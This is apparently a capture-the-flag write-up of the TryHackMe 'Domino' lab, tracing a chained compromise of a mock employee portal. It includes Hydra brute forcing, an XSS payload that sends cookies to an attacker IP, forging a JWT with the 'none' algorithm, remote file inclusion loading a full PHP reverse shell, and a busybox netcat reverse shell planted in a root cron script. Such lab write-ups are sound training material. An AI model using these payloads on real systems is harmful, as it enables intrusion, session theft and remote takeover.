> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/domino.md).

# Domino

{% embed url="<https://tryhackme.com/room/domino>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

The NexusCorp Employee Portal appears to be a typical internal application with authentication controls and role-based access in place. However, multiple small weaknesses, ranging from misconfigurations to logic flaws, can be combined to fully compromise the system.

&#x20;As an attacker, your objective is to observe how the application behaves, interact with its endpoints, and identify weak trust boundaries. By analysing requests, modifying parameters, and chaining vulnerabilities together, you can progressively escalate your access and move deeper into the system.

## Summary

<details>

<summary>Summary</summary>

In Domino, we begin with external enumeration and discover a web server on port `80` alongside SSH on port `22`, leading us to the NexusCorp Employee Portal. The `team.php` page leaks employee emails which we convert into usernames, and `forgot.php` confirms valid accounts via differing responses. Directory brute forcing exposes a `/backup` directory containing `config.enc`, which we decrypt using an AES-128-ECB key recovered from `static/app.js`. We then run a Hydra dictionary attack and obtain valid credentials for `sarah.johnson`. After logging in, we abuse the ticketing system.The admin bot automatically visits submitted links, so we plant a URL pointing at our listener and capture the admin session cookie, granting access to `/admin/`. Pivoting to the file API, we forge an unsigned JWT to bypass the broken signature check, then exploit an RFI in `/api/users/files.php?name=` that evaluates fetched PHP content without `<?php ?>` tags, delivering a reverse shell as `www-data`.

For privilege escalation, we extract database credentials from `/var/www/html/config.php` and find they are reused for the local `devops` account. Running `pspy` reveals that `health_report.sh` is executed periodically by `root` while remaining writable by `devops`, so we plant a reverse shell payload inside it and catch a callback as `root`, retrieving the final flag at `/root/root.txt`.

</details>

## Recon

We use `rustscan -b 500 -a domino.thm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a domino.thm --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/rF5syo2p8WR0auKtzjKQ" alt=""><figcaption></figcaption></figure>

We only have two ports open, SSH on port 22 and a web server running on port 80.

<figure><img src="/files/TVgU9GyqvtEuDsEUyVyH" alt=""><figcaption></figcaption></figure>

First, we visit the site using our browser and are presented with a login page to the Employee Portal.

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/
```

{% endcode %}

<figure><img src="/files/6PWF7myIYsZFqgZcgRob" alt=""><figcaption></figcaption></figure>

There are also links to the team site and a forgot password page. The team site discloses users' email addresses, from which their usernames can also be derived

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/team.php
```

{% endcode %}

<figure><img src="/files/oK4Nyh8CXwMOsPTvOfod" alt=""><figcaption></figcaption></figure>

We note the emails down...

{% code title="emails.txt" overflow="wrap" expandable="true" %}

```
laura.hayes@nexus.corp
michael.chen@nexus.corp
sarah.johnson@nexus.corp
robert.wilson@nexus.corp
emma.taylor@nexus.corp
david.brown@nexus.corp
james.wright@nexus.corp
```

{% endcode %}

... and derive the usernames from the emails.

{% code title="users.txt" overflow="wrap" expandable="true" %}

```
laura.hayes
michael.chen
sarah.johnson
robert.wilson
emma.taylor
david.brown
james.wright
```

{% endcode %}

We test the forgot password page with one of the derived usernames and we can get a valid message for the existing mail. If we provide a non valid account, we get an error. This would allow us to enumerate further usernames.

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/forgot.php
```

{% endcode %}

<figure><img src="/files/EXpgH0528v5ykxQhrQHV" alt=""><figcaption></figcaption></figure>

We proceed with enumeration and run a directory scan using Feroxbuster. One of the interesting things here is the backup folder,

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://domino.thm/' 
```

{% endcode %}

<figure><img src="/files/pSlf8rqqozvZTsmd8196" alt=""><figcaption></figcaption></figure>

It contains a `README` file and an encrypted config file. The instructions for decrypting is mention the app.js file in the `README.txt`.

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/backup
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/backup/README.txt
```

{% endcode %}

<figure><img src="/files/ApmA44Lxd9WnrqwGwr0o" alt=""><figcaption></figcaption></figure>

Next, we download the encrypted config.

{% code overflow="wrap" expandable="true" %}

```
wget http://domino.thm/backup/config.enc  
```

{% endcode %}

<figure><img src="/files/2kPpmRQRkRmQiA2riaK6" alt=""><figcaption></figcaption></figure>

From the `app.js` we are able to retrieve the secret key used to encrypt the config. Furthermore we see that `AES-ECB-128` was being used.

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/static/app.js
```

{% endcode %}

<figure><img src="/files/TsvPtPKCjCLcH5LdHUee" alt=""><figcaption></figcaption></figure>

We craft a simple python script to decrypt the config. The key is redacted.

{% code title="decrypt-config.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
#!/usr/bin/env python3
"""Decrypt NexusCorp config.enc (AES-128-ECB).

Usage:
    python decrypt_config.py [input.enc] [output.dec]

Defaults: config.enc -> config.dec
Requires: pip install pycryptodome
"""
import sys
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 14 ASCII chars + 2 padding bytes = 16. The JS comment showed an
# unrendered byte (U+FFFD); null-byte padding is the usual culprit.
# If decryption produces garbage, try b' ' (space) or b'\xff' instead.
KEY = b'REDACTED' + b'\x00' * 2


def decrypt(path: Path) -> bytes:
    data = path.read_bytes()
    if len(data) % 16 != 0:
        raise ValueError(f"ciphertext length {len(data)} not a multiple of 16")
    plain = AES.new(KEY, AES.MODE_ECB).decrypt(data)
    # Try PKCS7 first, fall back to stripping trailing null bytes.
    try:
        return unpad(plain, AES.block_size)
    except ValueError:
        return plain.rstrip(b'\x00')


if __name__ == '__main__':
    src = Path(sys.argv[1] if len(sys.argv) > 1 else 'config.enc')
    dst = Path(sys.argv[2] if len(sys.argv) > 2 else 'config.dec')
    out = decrypt(src)
    dst.write_bytes(out)
    print(f"Decrypted {src} -> {dst} ({len(out)} bytes)")
    # Preview if it looks like text
    try:
        preview = out.decode('utf-8')
        print("\n--- preview ---")
        print(preview[:500] + ('...' if len(preview) > 500 else ''))
    except UnicodeDecodeError:
        pass
```

{% endcode %}

But the config file doesn't reveal anything specific.

{% code overflow="wrap" expandable="true" %}

```
python decrypt-config.py
```

{% endcode %}

<figure><img src="/files/rbXggev8hOf8iaY8pFW0" alt=""><figcaption></figcaption></figure>

## Access as sarah.johnson

Since we have some users we try a dictonary attack on the login page using hydra. We are able to determine the passwords of three users. We will proceed with `sarah.johnson`.

{% code overflow="wrap" expandable="true" %}

```
hydra -L users.txt -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords-10000.txt domino.thm http-post-form '/index.php:username=^USER^&password=^PASS^:Invalid credentials.' -I
```

{% endcode %}

<figure><img src="/files/NuvpIsI8lCkapOvAOqHk" alt=""><figcaption></figcaption></figure>

We provide the credentials to the login page and are able to log in.

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/index.php
```

{% endcode %}

<figure><img src="/files/RqX9brvg3q47G3oh6qet" alt=""><figcaption></figcaption></figure>

From the dashboard we have a ticketing system available and a file viewer via api. The file viewer requires a JWT token, that can be gathered via `/api/auth/token.php`.

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/dashboard.php
```

{% endcode %}

<figure><img src="/files/KBIF0kKrEN1CpqIWUZLq" alt=""><figcaption></figcaption></figure>

## Access as admin

We issue a new ticket...

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/support/index.php
```

{% endcode %}

<figure><img src="/files/Wt8kyzSWFvQYoUv5cIhP" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/support/create.php
```

{% endcode %}

<figure><img src="/files/re2Uq7yNndJAUSIYra1j" alt=""><figcaption></figcaption></figure>

The cookies are not protected by HttpOnly, so javascript could access them.&#x20;

<figure><img src="/files/TvZJEWB8QQ3qv6NAfMQj" alt=""><figcaption></figcaption></figure>

We to place an XXS payload that tries to fetch the cookie.

{% code overflow="wrap" expandable="true" %}

```
<body onload="new Image().src='http://192.168.135.32?c='+document.cookie;">
```

{% endcode %}

<figure><img src="/files/dLbuXF1xZs2M6YnfGg5N" alt=""><figcaption></figcaption></figure>

Next, we run a python web server.

{% code overflow="wrap" expandable="true" %}

```
python -m http.server 80
```

{% endcode %}

After issuing the ticket...

<figure><img src="/files/CvHu9p4Sh2PCptfIny3i" alt=""><figcaption></figcaption></figure>

... we get a connection back, but there are no cookies in the request.

<figure><img src="/files/LtbrfPhDFEeGYWvYLeuo" alt=""><figcaption></figcaption></figure>

The following steps were performed after compromising the targets and get insights to the source.

{% code overflow="wrap" expandable="true" %}

```python
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def _log(self):
        print(f"\n--- {self.command} {self.path} ---")
        print("Headers:")
        for key, value in self.headers.items():
            print(f"  {key}: {value}")

        length = int(self.headers.get("Content-Length", 0))
        if length:
            body = self.rfile.read(length)
            print(f"Body ({length} bytes):")
            print(body.decode("utf-8", errors="replace"))

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"OK\n")

    do_GET = do_POST = do_PUT = do_DELETE = do_PATCH = do_HEAD = _log

if __name__ == "__main__":
    port = 80
    print(f"Listening on http://localhost:{port}")
    HTTPServer(("0.0.0.0", port), Handler).serve_forever()
```

{% endcode %}

Next, we issue a ticket with just the URL point to us.

<figure><img src="/files/8H6xJjLldB04x8b1XB2s" alt=""><figcaption></figcaption></figure>

We get a connection with the session cookie.

<figure><img src="/files/G3CZ2GHShPUjtnbwP4Ft" alt=""><figcaption></figcaption></figure>

We replace the cookie and are able to request the `admin` page. Here we get the first flag.

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm/admin/
```

{% endcode %}

<figure><img src="/files/kVnNKm5WYgf7bJ5XE0Ki" alt=""><figcaption></figcaption></figure>

## Shell as www-data

This steps were done without admin access. Fortunately the JWT checks had some flaws.

Recalling the file retrieval functionality explained in the dashboard we retrieve the JWT token of a low priviled user.

{% code overflow="wrap" expandable="true" %}

```
http://domino.thm//api/auth/token.php
```

{% endcode %}

<figure><img src="/files/NbGurkIOLg9pPs2DsP7F" alt=""><figcaption></figcaption></figure>

We provide the JWT via Authorization: Bearer. But an admin token is required. With admin access the next steps could be skipped.

<figure><img src="/files/C9nnHJvsZ2pcjZZxroSS" alt=""><figcaption></figcaption></figure>

We try to decode the cookie using jwt.io but receive an error that the last part is not properly encoded.

{% embed url="<https://www.jwt.io>" %}

<figure><img src="/files/CZc993uIIaOn1kKODnHs" alt=""><figcaption></figcaption></figure>

After removing it, we are able to view the cookie structure.

<figure><img src="/files/Bow50AUymJQutKRKQq7E" alt=""><figcaption></figcaption></figure>

Next, we try to craft our own cookie with setting the signature algorithm to `none`.

<figure><img src="/files/cnYmyYY9quWTb1b5Hk68" alt=""><figcaption></figcaption></figure>

We replace our previous cookie with the crafted JWT. The token gets accepted.

First we try to fetch the profiles using the following endpoint identified by our Feroxbuster scan. This requires an `id`.&#x20;

{% code overflow="wrap" expandable="true" %}

```
/api/users/profile.php
```

{% endcode %}

<figure><img src="/files/7K75dNMFHNUQoh9PxeYx" alt=""><figcaption></figcaption></figure>

After providing the `id` 1 we are able to retrieve the notes of `laura.hayes` containing the first flag.

{% code overflow="wrap" expandable="true" %}

```
/api/users/profile.php?id=1
```

{% endcode %}

<figure><img src="/files/LznKTIJ5BGgDqUG8EZms" alt=""><figcaption></figcaption></figure>

Next, we try to access the files endpoint, and this time we are somewhat succesful. The `name` parameter is missing. Providing it with the required path still errors.&#x20;

We try to fetch our own web server and see that we are successful.

Next we try some RFI to include PHP files from our web server to get remote code execution. After some testing we see PHP without `<?php` `?>` tags gets evaluated.

{% code overflow="wrap" expandable="true" %}

```
/api/users/files.php?name=
```

{% endcode %}

<figure><img src="/files/URc9XySKuNQG2XAiuMvt" alt=""><figcaption></figcaption></figure>

We prepare a pentest monkey PHP reverse shell.

{% code overflow="wrap" expandable="true" %}

```php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.135.32';
$port = 4445;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; bash -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
```

{% endcode %}

Next, we run a listener,

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

{% embed url="<https://github.com/brightio/penelope>" %}

and a web server.

{% code overflow="wrap" expandable="true" %}

```
python -m http.server 80
```

{% endcode %}

We request our reverse shell.

{% code overflow="wrap" expandable="true" %}

```
/api/files.php?name=http://192.168.135.32/monkey.php
```

{% endcode %}

<figure><img src="/files/YwUFboEelBYt56OURnD6" alt=""><figcaption></figcaption></figure>

It gets fetched...

<figure><img src="/files/GvYsMfLUMeIcYx5I5oTL" alt=""><figcaption></figcaption></figure>

... and exectued. We are `www-data`.

<figure><img src="/files/b8TkWM3zwE3BQNvCLA3w" alt=""><figcaption></figcaption></figure>

The second flag was initally found this way:

{% code overflow="wrap" expandable="true" %}

```
cat /var/www/html/admin/index.php
```

{% endcode %}

<figure><img src="/files/TVuWrMTvrqZVGDlz4LQ9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xohpodh1JxiipG5usgUT" alt=""><figcaption></figcaption></figure>

The third flag can be found at `/opt/flag3.txt`.

<figure><img src="/files/1azDm1cAgQJxf4hy3F1b" alt=""><figcaption></figcaption></figure>

## Shell as devops

In the `config.php` file we find the credentials of the `db_user`.

{% code overflow="wrap" expandable="true" %}

```
cat /var/www/html/config.php
```

{% endcode %}

<figure><img src="/files/VqUbA4LNflTE68vyxSiZ" alt=""><figcaption></figcaption></figure>

Furhtermore, we are able to identify the `devops` user.

{% code overflow="wrap" expandable="true" %}

```
 cat /etc/passwd
```

{% endcode %}

<figure><img src="/files/XJffofIXtIn8AF5l1a7J" alt=""><figcaption></figcaption></figure>

We try to switch to the `devops` user by testing whether the database user’s credentials are being reused and are successful. We find the users flag in the the home directory of `devops`.

{% code overflow="wrap" expandable="true" %}

```
su devops
```

{% endcode %}

<figure><img src="/files/Dv0tEJZYWhYMUyP4PsRL" alt=""><figcaption></figcaption></figure>

## Shell as root

We check for processes running in the background using pspy.

<figure><img src="/files/RTeErnTA5cBu05eWzBQh" alt=""><figcaption></figcaption></figure>

We see tha tthe `health_report.sh` is being run by `root` (`UID=0`).

<figure><img src="/files/pHuBKXJXCFoHsvSAjgWn" alt=""><figcaption></figcaption></figure>

As devops we are able to edit the file.

<figure><img src="/files/pD5LKZuSPHDQeTAyDgPs" alt=""><figcaption></figcaption></figure>

We place a busybox reverse shell command inside it and wait some time.

{% code overflow="wrap" expandable="true" %}

```
busybox nc 192.168.135.32 4445 -e sh
```

{% endcode %}

<figure><img src="/files/y0fpIxP0zOxNUcGxAAAL" alt=""><figcaption></figcaption></figure>

After a short duration, after a short duration we should get a connection to our running listener. We can now deatch our session in Penelope via F12 and interact with the new session. We are root and find the final flag at `/root/root.txt`.

{% code overflow="wrap" expandable="true" %}

```
F12
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
sessions 2
```

{% endcode %}

<figure><img src="/files/HJkrSRwjv0MNHi593mFS" alt=""><figcaption></figcaption></figure>
